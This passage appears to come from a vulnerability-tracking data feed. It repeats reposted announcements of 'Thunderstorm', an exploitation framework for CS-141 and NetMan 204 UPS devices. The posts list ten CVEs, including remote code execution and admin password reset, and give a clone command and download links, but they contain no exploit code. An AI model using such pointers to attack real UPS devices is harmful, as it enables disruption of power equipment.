[CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.580625Z"}, {"uuid": "9c7d646c-bc4d-4796-ac08-45878d2525f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.372257Z"}, {"uuid": "ee8ac341-5085-4ae8-a3d6-772f33d5fc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.416883Z"}, {"uuid": "9d617035-8609-4d25-a72e-b9000d068e4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "seen", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-02T01:01:23.328714Z"}, {"uuid": "c718b856-4f3a-4a46-b9ff-29c49d28179e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.729693Z"}, {"uuid": "45155894-6dfe-4e15-9488-27b357233a5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.851574Z"}, {"uuid": "30a88d6f-dfda-4afb-bffa-adb6f2f0bf7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.547359Z"}, {"uuid": "00a8b784-06c8-4c5f-8349-dcca6970ebba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.590660Z"}, {"uuid": "1e213835-cb5c-4f6f-ae89-57752f3f6b16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.631932Z"}, {"uuid": "26df47fe-5ada-45ef-b3b2-fcd9fec747c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.676959Z"}, {"uuid": "6205eead-6f23-4373-8a4b-b3e036833a8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:21.798583Z"}, {"uuid": "f74ff06c-8bec-401d-bb1c-8ade6687ced2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "seen", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-02T01:01:22.007181Z"}, {"uuid": "9ef81cdd-f196-4e64-9fdf-3259a39fa79e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-02T01:01:23.043679Z"}, {"uuid": "3af541af-9a8c-4e42-a22b-5f4fbf0bf53d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "seen", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use 